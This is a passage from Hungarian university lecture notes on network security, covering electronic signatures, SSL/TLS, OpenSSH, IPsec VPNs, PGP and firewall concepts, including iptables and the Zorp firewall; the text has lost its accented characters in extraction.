Minstett elektronikus alrs Minstett hitelests szolgltat ltal tanstott alrs. Az ilyen alrssal elltott elektronikus okirat teljes bizonyt erej magnokiratnak szmt. (Mint amikor kt tan eltt rjuk al, akiknek a megfelel adatai s sajt kez alrsa szintn szerepel az adott okiraton.)

Termszetesen az alrson kvl az okiratoknak egyb, a bizonyt er nvekedsvel egyre szigorod ktelez alaki kellkei is vannak! A magyarorszgi hitelests szolgltatk listja elrhet az albbi oldalon: http://www.hif.hu:7777/pls/portal30/ESIGN_PORTAL.menu.show

Biztonsgos kommunikci

71

4. Biztonsgos kommunikci
Ebben a fejezetben az IPv4 alap nyilvnos hlzatokon trtn kommunikcival foglalkozunk. A biztonsgos tvitel megvalstsra tbbfle modellt hasznlhatunk. Most abbl a szempontbl vizsgljuk meg ezeket, hogy a biztonsg elrshez mit nyjt a hlzat s mit az alkalmazsok. Amennyiben a hlzat nem nyjt tmogatst, akkor az alkalmazsok a felelsek a biztonsgrt: a kommunikci 2 vgpontja (socketek) kztt az alkalmazsok ptenek ki egy biztonsgos csatornt, ezt valstja meg az SSL (Secure Socket Layer), illetve az azt felvlt TLS (Transport Layer Security). A 16. bra egy ilyen rendszert mutat be. Web bngsz
HTTP SSH SCP SSL
TCP

...

Web szerver

HTTP SSH SCP SSL


TCP

...

IP

IP

1. LAN

2. LAN

WAN

16. bra: SSL kapcsolat

72

Hlzatok biztonsga

A msik megkzelts szerint a hlzat nyjtja a biztonsgot. Ennek akkor van jelentsge, ha egy szervezetnek tbb telephelye van, amelyeket nyilvnos hlzaton keresztl kapcsolnak ssze. Az egyes helyi hlzatoknak a nyilvnos hlzat fel val kijratai (security gateway) egyms kztt a nyilvnos hlzatra ptve rtknvelt szolgltatssal oldjk meg a telephelyek kztt az informci biztonsgos tvitelt: VPN (Virtual Private Network), ez mutatja be a 17. bra. Ebben a fejezetben a tovbbiakban elszr az SSL/TLS megoldssal, majd pedig a VPN-nel foglalkozunk.

1. LAN SG1 WAN

2. LAN SG2

17. bra: VPN kialaktsa

Biztonsgos kommunikci

73

4.1.
4.1.1.

SSL/TLS infrastruktra s alkalmazsai


SSL/TLS, OpenSSL

Az SSL a Netscape fejlesztse, 3.0-s verzijnak specifikcijt 1996-ban Internet Draft-knt tettk kzz, lehetv tve ezzel, hogy a protokollt brki implementlhassa. A specifikci elrhet a http://wp.netscape.com/eng/ssl3/ oldalon. Ez kpezte az alapjt az 1999ben kzztett TLS 1.0 protokollnak (RFC 2246). (Jegyezzk meg, hogy az SSL 2-es verzija biztonsgi rst tartalmaz, nem szabad hasznlni!) Az SSL/TLS tulajdonkppen egy j, biztonsgi rteget definil a TCP/IP fltt s az alkalmazsok (pl. HTTP) alatt. Az SSL/TLS protokoll nylt forrs implementcija az Open SSL Project keretben kszlt, gyakorlatilag felhasznlhat nylt forrs s kereskedelmi szoftverek fejlesztsre is. A projektrl bvebben olvashatunk a http://www.openssl.org/ webhelyen. Programming Interface) nyjt, amelyet Az OpenSSL biztonsgos

programknyvtr (library) egy olyan funkcikszletet (API Application felhasznlva kommunikcit folytat programok rhatk. Rendelkezik parancssoros interfsszel is, gy a felhasznlk kzvetlenl is elrhetik a szolgltatsait. (Pldul kriptogrfiai fggvnyek elrse a parancsrtelmezbl.) 4.1.2. OpenSSH

Az OpenSSL-re pl az OpenBSD projekt rszeknt kifejlesztett OpenSSH szoftvercsomag. Ez a biztonsgos tvoli bejelentkezsen (Secure Shell)

74

Hlzatok biztonsga

kvl biztonsgos fjl tvitelre (scp, sftp), X11 tvitelre, port-tovbbtsra is hasznlhat. felhasznlhatja. A csomag nylt forrs s brki brmilyen clra Ezt gy rtk el, hogy a szabadalommal vdett rszeket

eltvoltottk a kdbl (pl. az IDEA titkostst teljesen kihagytk) s amire szksg volt, azt kls knyvtrakkal oldottk meg (pl. OpenSSL). Az OpenSSH nyilvnos kulcs titkostson alapul ers authentikcit hasznl. A kommunikci titkostsra a TripleDES, Blowfish, AES blokktitkostk s az Arcfour nev folyamtitkost hasznlhat. A programcsomagot hallgatink az elz flvben mr jl megismertk, vizsgn majd jra szmon krjk! ;-) A projektnek mg magyar nyelv weblapja is van: http://www.openssh.com/hu/ Akit rdekel, elolvashatja az ssh kereskedelmi verzijnak honlapjn tallhat cikket is: http://www.ssh.com/documents/28/SecuringwithSecSh_WhitePaper.pdf (Ez a link mr nem mkdik: 2008. 03. 18.) 4.1.3. Az s vg protokollok

Ha megnzzk az IANA jl ismert port szmainak (well known port numbers) listjt, akkor lthatjuk, hogy j nhny protokoll (pl. http, telnet, pop3, imap4, ftp, stb.) biztonsgos megfelelje szmra lefoglaltk a port szmokat. Ez azt jelenti, hogy ehhez a porthoz

Biztonsgos kommunikci

75

kapcsoldva az adott protokoll egy SSL/TLS rteg fltt rthet el. gy pldul a https protokoll portszma: 443, a pop3s portszma: 995, az imap4s portszma 993, stb. http://www.iana.org/assignments/port-numbers

4.2.
4.2.1.

VPN
A VPN rtelmezse

Mieltt a Internet hasznlata ltalnoss vlt, a cgek az egymstl tvol elhelyezked telephelyeiken lev hlzataik sszekapcsolsra valamely tvkzlsi szolgltattl vonalat breltek. A brelt vonal kezdetben a vonal (pl. rz rpr) kizrlagos hasznlatt jelentette, a brl az ltala megvlasztott modulcival a (fizikai lehetsg hatrain bell) tetszleges adatsebessggel forgalmazhatott. Ksbb a szolgltatk kttt sebessg (pl. n*64kbit/s), de garantlt minsg adattviteli szolgltatst nyjtottak brelt vonal nven. A kapacitst az adott elfizet kizrlagosan hasznlta, s amennyiben nem hasznlta ki, akkor sem hasznlhatta ms. A csomagkapcsolt technolgia elretrsvel elterjedt az a megolds, hogy a szolgltatk a kapacitsok jobb kihasznlsa rdekben az egyes elfizetk forgalmt statisztikai multiplexels segtsgvel ugyanazon csomagkapcsolt hlzaton viszik t. A felhasznlknak azonban gyakran ignye van arra, hogy a szolgltat a brelt vonalakhoz hasonl minsgi paramtereket garantljon (pl. garantlt svszlessg, ksleltets,

76

Hlzatok biztonsga

ksleltetsingadozs). Azt is elvrhatjk, hogy a forgalmuk ne juthasson illetktelenek kezbe, hanem a brelt vonalakhoz hasonl vdettsget lvezzen. Ezen elvrsokat kielgt megolds a trusted VPN. Ebben az esetben a szolgltat termszetesen kpes lenne a hlzatn thalad forgalom lehallgatsra, st mdostsra, de lvezi az elfizet bizalmt, hogy ilyent nem tesz, st a legjobb gyakorlat szerint mindent megtesz ennek az elkerlsre. Egszen ms megkzelts a secure VPN, ami egy nyilvnos adathlzaton thalad forgalom biztonsgt garantlja. Ebben az esetben a nyilvnos hlzatba val belpskor a forgalmat megfelel mdon titkostjk, majd a kilpskor dekdoljk. A titkosts jelenti a garancit, hogy az esetleges tmad ne jusson hozz az elfizet ltal birtokolt informcihoz, illetve aktv tmads esetn sem jusson el az elfizethz a mdostott adatfolyam. A secure VPN-t megvalsthatja a szolgltat is, de igen gyakran az elfizet teszi meg. A kt fajta VPN teht mst nyjt. Biztonsgi szempontbl szmunkra a msodik az rdekes, de a mai best effort jelleg IPv4 alap hlzataink vilgban igen nagy rtket kpviselnek a garantlt minsgi paramterek, ezrt van rtelme a kett egyttes alkalmazsnak: hybrid VPN. Ebben az esetben a minsgi paramtereket garantl trusted VPN egsze vagy egy rsze fltt secure VPN-t is alkalmazunk. Termszetesen csak a secure VPN-en belli rsz lesz biztonsgos.

Biztonsgos kommunikci

77

A tovbbiakban VPN alatt a trusted VPN-t rtjk, eltr esetben kln jelezzk. A tmrl a Virtual Private Network Consortium (VPNC) honlapjn tbbet is olvashatunk: http://www.vpnc.org/ 4.2.2. Az IPsec protokollcsald

Az IPsec protokollcsald a VPN megvalstsnak kivl eszkze. Az IPsec egy rugalmas keretrendszer, amiben az egyes algoritmusok a felhasznls cljnak megfelelen vlaszthatk meg. Az IETF-en bell egy munkacsoport tbb vi munkjaknt igen jelents mennyisg dokumentum (Internet Draft, RFC) jtt ltre, cmen ami rhet a el. http://www.ietf.org/html.charters/ipsec-charter.html

Mivel szmunkra a VPN megvalstsa szempontjbl rdekes, ezrt csak az ESP protokollal (Encapsulating Security Payload, RFC 2406), annak is csak a tunnel mdjval foglalkozunk. Az rdekldknek megemltjk, hogy az AH (Autentication Header, RFC 2402) az zenetek integritsnak ellenrzst szolglja, de nem nyjt titkossgot. Ha az ESP-t alagt mdban hasznljuk, akkor nem csupn az tvitt informcit vdi meg az illetktelenektl, hanem a forgalom analzisnek lehetsgeit is ersen rontja. Ezt gy ri el, hogy az eredeti datagramot becsomagolva j fejrszt hoz ltre, amiben a cl s a forrs IP cm mezk nem a zenet cmzettjnek s feladjnak IP cmt hordozzk, hanem a VPN-t megvalst kt biztonsgi tjr (Security Gateway) IP cmt. A datagram becsomagolsa a kvetkezkppen trtnik:

78
BEFORE APPLYING ESP ---------------------------|orig IP hdr | | | |(any options)| TCP | Data | ---------------------------AFTER APPLYING ESP

Hlzatok biztonsga

IPv4

IPv4

----------------------------------------------------------| new IP hdr* | ESP | orig IP hdr* | | | ESP | ESP| |(any options)| hdr | (any options) |TCP|Data|Trailer|Auth| ----------------------------------------------------------|<--------- encrypted ---------->| |<----------- authenticated ---------->|

Teht az eredeti datagram el kerl az ESP fejrsz, az el egy j IP fejrsz s a datagram mg is kerlnek mezk a becsomagols sorn. Br arra is lehetsg van, hogy a becsomagolt datagramot ne titkostsuk (null encryption vlasztsval), esetnkben nem gy jrunk el, hanem valamelyik ismert blokk titkost algoritmust hasznljuk (pl. DES, 3DES, AES, RC5, IDEA, CAST, Blowfish). Nzzk meg egy kicsit alaposabban az ESP csomag formtumt (most mr az el helyezett j IP fejrsz nlkl):
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Security Parameters Index (SPI) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Data* (variable) | ~ ~ | | + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | Padding (0-255 bytes) | +-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | Pad Length | Next Header | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Authentication Data (variable) | ~ ~ | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

---^Auth. |Cov|erage | ---| ^ | | |Conf. |Cov|erage* | | v v ------

Lthatjuk, hogy a begyazott eredeti datagram egszt vdi a titkosts, illetve a titkost blokkmretnek tbbszrsre ki kell egszteni a

Biztonsgos kommunikci

79

titkostand rszt, aminek az utols oktetje az azt kvet autentikcis rsz hosszt, az eltte lev oktet pedig a helykitlt hosszt adja meg. A sorszm a visszajtszs ellen vd, az SPI pedig annak az SA (Security Association) kapcsolatnak az azonostja, amelyhez a csomag tartozik. Lthatjuk, hogy erre a kettre is vonatkozik az autentikci (ne lehessen tkzben szrevtlenl megvltoztatni), de a titkosts nem, hiszen pl. az SPI nylt ismerete nlkl a cmzett biztonsgi tjr nem tudna mit kezdeni a csomaggal! Most mr lssuk, hogy mi trtnik, amikor egy lloms VPN-en keresztl egy msik llomssal szeretne kommuniklni! Fontos megjegyezni, hogy nem felttlenl TCP kapcsolat kiptsrl van sz, lehet UDP, ICMP zenet is! Br ezek kapcsolatmentes protokollok, s TCP esetn is maga az IP kapcsolatmentes, mgis szksg van egy kapcsolatra a kt biztonsgi tjr kztt. Ennek a kapcsolatnak ltre kell jnnie, mieltt a VPN-en keresztl forgalmazni lehetne. A rszletek ismertetse nlkl rviden annyit, hogy a biztonsgi tjrk rendelkezhetnek elre manulisan belltott kzs kulccsal (pre-shared key), illetve valamely nyilvnos kulcs titkostson alapul mdszerrel (pl. tanstvnyok hasznlatval) is megllapodhatnak a blokktitkostshoz szksges kulcsban. Az rdekldk bvebben a 2409-es RFC-ben olvashatnak az IKE-rl (Internet Key Exchange). A biztonsgi tjrk teht a bels hlzatbl szrmaz forgalmat kifele becsomagolva tovbbtjk, mg a kvlrl rkez forgalmat kicsomagoljk s ellenrzik, ha minden rendben van, akkor tovbbtjk a bels hlzatban tallhat cmzett fel. Mivel a nyilvnos hlzaton mintegy alagtban a vdend informci becsomagolva utazik, gy a VPN ltal sszekapcsolt bels hlzatok szomszdosknt ltjk egymst. (Ez kiderl pl. az IPv4 datagramm TTL vagy az IPv6 datagramm hop limit mezjbl.) Ez arra is lehetsget nyjt, hogy a kt bels hlzat nem publikus IP cmeket hasznljon, amelyekkel az Interneten egybknt nem tudnnak egyms kztt kommuniklni! A tma irnt rdekldknek ajnlott olvasmnyok magyar nyelven: http://www.biztostu.hu/mod/resource/view.php?id=612 http://www.szamitastechnika.hu/archiv.php?id=19852

80 4.2.3. FreeS/WAN s Openswan

Hlzatok biztonsga

A FreeS/WAN projekt keretben ltrejtt az IPsec egy nylt forrs implementcija. http://www.freeswan.org/ A projekt ugyan befejezdtt, de a fejlesztk egy csoportja s nkntesek j cget alaptottak s folytatjk a munkt. http://www.openswan.org/ A Linux 2.6 kernel pedig mr natv IPsec implementcit tartalmaz igaz ez? Gyakorlaton legyen valamelyik!!!

4.3.

PGP

A teljessg kedvrt meg kell emltennk a PGP-t is. Az elbbiekkel szemben ez NEM on-line kommunikcira hasznlhat, hanem fjlok vdelmre (rejtjelezs s digitlis alrs). Pldul kivlan alkalmas biztonsgos levelezsre. Megalkotja, Phil R Zimmermann 1991-ben publiklta, trtnetrl s jellemzirl olvashat(t)unk (amg az oldal mkdtt): http://www.hup.hu/wiki/index.php/PGP . Eddigi ismereteinkhez kpest kt terleten hordoz jdonsgot, ezek: a digitlis bortk alkalmazsa s a nyilvnos kulcsok kezelse. 4.3.1. A digitlis bortk alapelve

A rejtjelezse az n. digitlis bortk megoldson alapul, ami rviden s leegyszerstve azt jelenti, hogy egyrszt nyilvnos kulcs megoldst

Biztonsgos kommunikci

81

hasznl, (eredetileg RSA-t hasznlt, most mr DSA-t is), de mivel ezek az algoritmusok lassak, ezrt az zenet kdolsra egy msik algoritmust vesz ignybe. Ez lehet egy szimmetrikus kulcs algoritmus, pldul AES. Generl egy vletlen kulcsot, amit az zenet kdolsra hasznl, majd a vletlen kulcsot elkdolja a cmzett nyilvnos kulcsval s hozzfzi az zenethez. (Termszetesen ezen kvl al is rhatja az egszet a sajt titkos kulcsval.) 4.3.2. A PGP kulcsgondozsa

A PGP kulcsmenedzsmentje lnyegben a korbban ismertetett PKI funkciit valstja meg, de nem szksges hozz elre kiptett infrastruktra. A PGP rendszerben minden felhasznl kiadhat egy tanstvnyt msok nyilvnos kulcsra. Ezeket a tanstvnyokat a felhasznlk egyms kztt cserlgethetik, vagy nyilvnos adatbzisban elhelyezhetik. A helyzetet leegyszerstve azt mondhatjuk, hogy akkor fogadom el valakinek a nyilvnos kulcst, ha van olyan tanstvnya, amelyet ltalam mr megbzhatnak tlt forrs lltott ki. A helyzet ennl bonyolultabb, mert a rendszer a hitelessg mrtknek tbb szintjt kezeli... Akit a tma mlyebben rdekel, utna olvashat a BME-s tanknyvben. 4.3.3. PGP a gyakorlatban

Tbb PGP termk is ltezik. A szabvny az OpenPGP Alliance http://www.openpgp.org/ ltal javasolt 2440-es RFC: http://www.ietf.org/rfc/rfc2440.txt. Ennek egy ingyenes megvalstsa a

82

Hlzatok biztonsga

GnuPG (Gnu Privacy Guard) http://www.gnupg.org/, amely benne van a fontosabb szabad levelez programokban (pldul mutt vagy Kmail) is.

Tzfalak

83

5. Tzfalak
A tzfalat hatrvdelmi eszkznek szoktk nevezni. Ez igaz is, de jobb az a megfogalmazs, hogy a tzfal az az eszkz, ami az Informatikai Biztonsgi Szablyzat hlzati hatrvdelemre vonatkoz rszt betartatja. Miben mond tbbet ez a definci? Elszr is kell egy IBSZ, ennek megalkotsakor megfelel elemzs utn tbbek kztt azt is el kell dnteni, hogy milyen forgalmat engedlyeznk a hlzat hatrn. A tzfal csak egy eszkz, amivel a mr megalkotott IBSZ hatrvdelemre vonatkoz rsznek betartst kiknyszerthetjk, nem pedig egy mgikus doboz, amit csak meg kell venni, s aztn megvd bennnket minden kls tmadstl! Ezen kvl j, ha azt is ltjuk, hogy a tzfal csak az IBSZ egy rsznek betartst kpes kiknyszerteni, a tbbirl ms mdon kell gondoskodnunk! rdekldknek ajnlott olvasmny az Informatikai Trcakzi Bizottsg ajnlsai kztt tallhat Informatikai biztonsgi mdszertani kziknyv: http://www.itb.hu/ajanlasok/a8/. Br az eleje jogi szveg, a 3. s 4. szm mellklete kifejezetten a trgyhoz kapcsoldik. A tovbbiakban megismerkednk a tzfalak fejldsvel, fajtival, az alapfogalmakkal, rviden tismteljk a mr megismert iptables-t s ttekintjk egy kereskedelmi forgalomban is kaphat s GPL licenc alatt is elrthet magyar fejleszts tzfal, a Zorp legfontosabb jellemzit. A Zorprl kln rszletes oktatsi anyag ll a hallgatk rendelkezsre.

84

Hlzatok biztonsga

5.1.
5.1.1.

Alapok
A tzfalak fejldse, fajti

A nemkvnatos kls forgalommal szemben val vdekezs 2 irnyban indult el (18. bra). Az egyik irny az, hogy a routert tettk kpess a csomagok bizonyos szempontok szerint val szrsre. Alapveten a forrs s cl IP cm volt a szrsi szempont. A szrs azt jelenti, hogy a csomagszr router eldnti, hogy tengedi-e a csomagot, vagy eldobja. Pusztn az IP cmek vizsglata nem ad elg informcit a dntshez, szksges volt a forrs s cl port figyelembe vtelre is. Azonban mg ez is kevs lehet a helyes dntshez, ezrt talltk ki a kapcsolat-llapot alap llapottart csomagszrt...

A msik irny az volt, hogy nem engedtk meg az sszes gp szmra, hogy a klvilggal kommunikljon, hanem csak egy kitntetett gp, a bastion host szmra. A gpek felhasznlinak elszr erre kellett bejelentkeznik, majd errl mehettek tovbb. Ez persze jelents knyelmetlensget okoz, ezrt talltk ki a proxy tzfalat. Ilyenkor az alkalmazsokban be kell lltani, hogy amennyiben a felhasznl valamilyen kls hlzaton elrhet szolgltatshoz szeretne kapcsoldni (pl. POP3, FTP, stb.) akkor az alkalmazs ne az adott gphez, hanem a proxy tzfalhoz forduljon. A proxy pedig kzeltleg gy viselkedik a kliens alkalmazs fel, mintha lenne a krdses szolgltatst nyjt gp:

Tzfalak Nincs szrs Router csomagszr llapottart csomagszr Alkalmazs szint tzfal Modulris alk. szint tzfal

85

Bastion host Proxy tzfal Transzparens proxy tzfal Modulris proxy tzfal

18. bra: Tzfalak fejldse

amikor a kliens a proxyhoz kapcsoldik, a proxy ltrehoz egy msik kapcsolatot a szerver fel, azutn pedig a kliens krseit rtelmezi, s ugyan olyan krst intz a szerverhez, majd a szerver vlaszt tovbbtja a kliensnek. Vegyk szre, hogy az alapvet klnbsg az llapottart csomagszr s a proxy tzfal kztt az, hogy az els esetben kzvetlen kapcsolat van a kliens s a szerver kztt, mg a msodik esetben kt kln kapcsolat pl ki, egyik a kliens s a proxy, a msik a proxy s a szerver kztt. Ennek kvetkezmnyeknt a kt rendszer eltren viselkedik. Az els esetben bizonyos szempontok szerint dntst kell hozni az tengedsrl vagy eldobsrl, mg a msodik esetben le kell jtszani a protokollt. Nzznk egy pldt a kett kztti klnbsg megvilgtsra! Kpzeljk el, hogy egy szerver 80-as portjra telnet-elve kzzel akarunk lekrni egy

86

Hlzatok biztonsga

weblapot. Ttelezzk fel, tevkenysgnk nem tkzik az IBSZ-be, teht ilyen okbl egyik tzfal sem akadlyozza meg. Ha a HTTP krs szintaxist szndkosan elrontjuk, az els esetben a szervertl kapunk egy megfelel hibazenetet, mg a msodik esetben a proxy nem tudja rtelmezni a krsnket, s egyltaln nem fordul a szerverhez, hanem hibazenetet kld vissza! Az llapottart csomagszr elnye a sebessg, viszont htrnya, hogy csupn az IP cmek s portszmok alapjn kell dntst hoznia. A proxy elnye, hogy az alkalmazsok protokolljait lejtssza, s a protokollok megsrtsn alapul tmadsok ellen is vdelmet kpes nyjtani. Htrnya viszont a lassabb mkdsen tl (ez igazbl nem htrny, hanem a biztonsg ra) az, hogy nem transzparens, illetve csak olyan alkalmazsokat tud megvdeni amelyek protokolljait ismeri. Mindkt megoldst tovbbfejlesztettk; lssuk, hogy hogyan! A proxy alapvet kellemetlensge, hogy hasznlata kliens oldali belltst ignyel. Ezrt fejlesztettk ki a transzparens proxy tzfalat, ami sajt maga kpes a csomagokat tirnytani, s aztn a proxy mkdst elvgezni. Fejleszti szempontbl problmt okoz azonban a protokollok egymsba gyazsa. Ha a tzfal pusztn a kls protokollt jtssza le, a belst nem tudja ellenrizni. Ezrt talltk ki a modulris transzparens proxy tzfalat. Ez kpes a begyazott protokollokat a megfelel modulok segtsgvel tetszleges mlysgben megvizsglni. Ha pldul egy levelet tltnk le POP3 protokollon keresztl, amiben van egy MIME kdolt csatolt fjl, akkor a POP3 modul meghvja a MIME modult, s amennyiben

Tzfalak

87

vrusvdelmnk is van, a MIME modul a csatolt fjlt megvizsgltatja a vruskeres modullal. Az ilyen tzfalra plda a magyar Balabit Kft. http://www.balabit.hu Zorp nev tzfala, amivel rszletesen foglalkozunk. Az llapottart csomagszr gyengesge, hogy nem lt bele az alkalmazsok protokolljaiba. Ezt is tovbbfejlesztettk, gy jutottak el az alkalmazs szint tzfalhoz, amelyet a fenti megfontolsokbl szintn modulriss tettek: modulris alkalmazs szint tzfal. Ezekkel az elnevezsekkel egy 2002-es konferencin tallkoztam, ahol az ALF nev tzfalat (Application Level Firewall) mutattk be. Akkor mg a 2.2-es Linux kernelben tallhat ipchans-t hasznlta, ami feladta a user space-ben fut moduloknak a csomagokat vizsglat cljra. Sajnos ksbb a tzfallal nem tallkoztam, az ANT Kft. honlapjn az ALF feloldsaknt az Advanced Linux Firewall szerepel, de lnyegi informcit nem talltam rla. Egyetlen alkalmazsknt a www.magyarorszag.hu-rl (a proxy ltal generlt hibazenetbl) tudom, hogy ezt hasznlja: Server: ALF Advanced Linux Firewall. Egy msik csomagszr alap Hallgatink 2003 szn a magyar Piksys Kft kereskedelmi tzfal a finn StoneSoft cg http://www.stonesoft.com StoneGate tzfala. http://www.piksys.hu tmogatsval StoneGate tanfolyamon vehettek rszt, st ingyenesen letehettk StoneSoft hivatalos oklevelt nyjt vizsgt. A tmrl a Tvkzls-informatika Labor honlapjn (http://www.tilb.sze.hu) cikk olvashat.

88 5.1.2. Alapfogalmak

Hlzatok biztonsga

A fentiekben mr lttuk, hogy a tzfal(ak) alkalmazsnak egyik clja a bels hlzatunk vdelme a kls tmadsokkal szemben. Azonban ezen tl is van mg mit megvdeni. Egy intzmnynl ltalban klnbz feladatkrrel rendelkez s klnbz felelssggel br emberek dolgoznak. A bizalmas adatokhoz val jogtalan hozzfrsi ksrletek sajnos nagyon gyakran bellrl jnnek. Ezrt a szervereket ltalban mindkt irnybl vdeni szoktk. Az alapkipts, amit mr az egyszer dediklt tzfalak is ismernek (pl. 3Com OfficeConnect DMZ Firewall) a tzfal szempontjbl 3 znt klnbztet meg: a kls hlzat (WAN), a bels hlzat (LAN) s a szerverek szmra fenntartott, mindkt irnybl vdett, n. demilitarizlt zna (DMZ). Termszetesen ennl tbb znnk is lehet, a bels hlzatot is, a szervereket is sorolhatjuk tbb znba, az IBSZ-nak megfelelen. Ugyancsak az IBSZ-bl kvetkezik, hogy az egyes znk kztt milyen forgalmat engedlyeznk. Ezt az ltalunk hasznlt tzfalnak n. tzfal szablyokkal adhatjuk meg. A szablyok szintaxisa (milyen formban kell megadni ket) s szemantikja (mit jelentenek) az alkalmazott tzfaltl fgg. ltalban lehetsg van valamilyen karakteres felleten keresztl parancsok formjban kzlni a szablyokat a tzfallal, illetve a tzfal nyjthat valamilyen grafikus menedzsment felletet. Br ez nem a legfontosabb csoportosts szempont, de meg szoktak klnbztetni dediklt hardver tzfalakat s szoftveres tzfalakat. Az elbbi egy valamilyen mret doboz (pl. a 3Com OfficeConnect

Tzfalak

89

sorozattl kezdve a rack-be szerelhetig) bizonyos szm hlzati csatlakozval, ami rnzsre valamilyen hlzati aktv eszkzhz hasonlt. Persze a hardver elnevezs megtveszt, ezeken is valamilyen, sokszor Linux alap szoftver fut, kifejezetten tzfal cljra ptett clhardveren (ipari szmtgp). A szoftveres tzfal kznsges PC-n, annak opercis rendszere alatt fut program, azonban a hardvert illeten lhetnek megktsekkel. Pldul a korbban emltett StoneGate csak bizonyos (j minsg) hlzati krtykat tmogat. J esetben sajt opercis rendszerk is lehet, ami pl. a Zorp OS esetben nem ms, mint egy megerstett Debian Linux. Br egyes gyrtk azt lltjk, hogy hardver tzfal eszkzk biztonsgosabb a PC alap szoftveres tzfalaknl, mert az utbbinl az opercis rendszer is tmadhat, tisztban kell lennnk azzal, nyilvn valan a hardveres tzfalon is opercis rendszer fut, amiben szintn lehetnek hibk!

5.2.

NetFilter / IPTables

Ez az alfejezet Jns Zsolt munkja. http://netfilter.org A netfilter egy beptett blokkol keretrendszer a 2.4.x-es s 2.6.x-es Linux kernelekben. A keretrendszer kpes csomagokat szrni, hlzatcmet s portszmot fordtani (NAT/NAPT), valamint kpes egyb csomagmanipulcikra. A Linux 2.2.x ipchains (s a Linux 2.0.x ipfwadm) rendszernek jratervezett s nagymrtkben javtott utdja.

90

Hlzatok biztonsga

Az iptables egy ltalnos tblastruktra szablyrendszerek definilsra. Minden IP tblzaton belli szably tbb osztlyozt (iptables matches) tartalmaz s egy hozz kapcsold esemnyt (iptables target). A
netfilter, iptables s a kapcsolat kvets, valamint a NAT

alrendszer egyttesen kpzik a keretrendszert. Fbb tulajdonsgok


nem llapottart (stateless) csomagszrs (IPv4 s IPv6) llapottart (stateful) csomagszrs (IPv4) hlzatcm s portszm fordts (NAT/NAPT) flexibilis s bvthet kialakts tbbrteg API fellet a kls fejlesztk szmra hatalmas plugin s module gyjtemny 'patch-o-matic' csomagban

Mire hasznlhat a netfilter / iptables?


pthet stateless s stateful csomagszr tzfal a NAT s a MASQUERADE hasznlatval internet megoszts hozhat ltre, ha nincs elg publikus IP cm

NAT hasznlatval ltrehozhatk tltsz (transparent) proxy-k egyb csomagmanipulcik (mangle), gymint TOS/DSCP/ECN bit-ek vltoztatsa az IP csomagok fejlcben

Tzfalak

91

Az IPTables program ltal vezrelhetjk a kernelben lev NetFilter modult, azaz az IPTables programmal szrhatunk be vagy trlhetnk szablyokat a kernel csomagszr tblzatbl. Ez azt is jelenti, hogy minden rendszerindulskor jra be kell tlteni a szablyokat (persze van md automatizlsra). Jonci, az iptables-t lgy szves rszletesebben fejtsd ki!

5.3.

Zorp

A Balabit Kft-vel val oktatsi egyttmkds keretben hallgatink (a 2005. v tavaszn) a trgy gyakorlatain hasznlhattk Zorp tzfal kereskedelmi verzijt, a Zorp Professionalt. A Balabit Kft rendelkezsnkre bocsjtotta a Zorp 3.0 hivatalos oktatsi anyagt, ezt a hallgatink megtalljk a (rgi fiskolai) trgy honlapjn. A Zorp-nak van egy GPL-es vltozata is (amelybl hinyoznak bizonyos knyelmi funkcik, a telept, a menedzsment rendszer, kevesebb proxy van benne, stb., viszont a tzfal engine ugyanaz, s szabad szoftver), amelyet az rdekldk elrhetnek a Balabit Kft honlapjn: http://www.balabit.com/products/zorp_gpl/, ezen kvl megtallhat pl. a magyar nyelv UHU Linux disztribci 1.2-es verzijban is. St van egy nemhivatalos, a Zorp GPL-re pl, azt kiegszt Zorp unofficial projekt is: http://zorp-unoff.sourceforge.net/.

92

Hlzatok biztonsga

A tovbbiakban a Zorp Professionallal fogunk foglalkozni. A jegyzet tbbi rszvel val arnyossg kvetelmnye csak egy ttekintst enged meg, a teljes tananyag gyis a hallgatink rendelkezsre ll. Ez a rvid sszefoglal csak nagyon felletes betekints a Zorp rendszerbe, csak egy kp arrl, hogy mennyire ms, mint a mr ismert iptables. (A hallgatk szmra valaha javasoltuk, hogy a Zorp tananyagot elre tltsk le s olvassk el, hogy a gyakorlatokon grdlkenyen folyhasson a munka. A ksbbiek sorn ismt tervezzk a Zorp-ot oktatsi clra hasznlni, jelenleg egy megfelelen felkszlt, rtermett s megbzhat hallgatt keresek, aki szakdolgozat s nyri gyakorlat keretben szvesen foglalkozna a tmval!) 5.3.1. ltalnos jellemzk

A Zorp nemcsak egy tzfalprogram, hanem egy teljes tzfal rendszer minden olyan komponenssel, amire egy tzfalon szksg van. Az alap opercis rendszer (Zorp OS) egy megerstett Debian Linux, a csomagban szerepel egy llapottart csomagszr, maga a Zorp tzfal engine program, valamint IPSec VPN tmogats s klnbz kiegszt programok: DNS, SMTP, NTP s a syslog-ng, ami a Balabit ltal rt naplz rendszer. A rendszer legfontosabb jellemzi dihjban a kvetkezk:

Egyszer telept Sajt megerstett opercis rendszer

Debian GNU/Linux alap

Tzfalak

93 Felesleges csomagok eltvoltva, nhny sajt kiegszt csomag (pl. syslog-ng)

SUID/SGID bitek eltvoltva szrs, modulris felpts (19 tmogatott

Alkalmazsszint protokoll)

Transzparens mkds Flexibilis konfigurlhatsg Magas rendelkezsre lls, terhelsmegoszts (frtzs) Ers authentikcis megoldsok, beptett PKI kezels VPN tmogats (IPSec, PPTP, L2TP) Kzpontostott menedzsment, felgyelet Grafikus kezeli fellet Architektra

5.3.2.

Elszr tekintsk t, hogy milyen rszei vannak egy Zorp tzfal rendszernek, s mi ezek feladata! Ezek az elemek:

Zorp: a tzfal node maga, tbb is lehet belle (teljestmny s hibatrs), Zorp OS-t ignyel

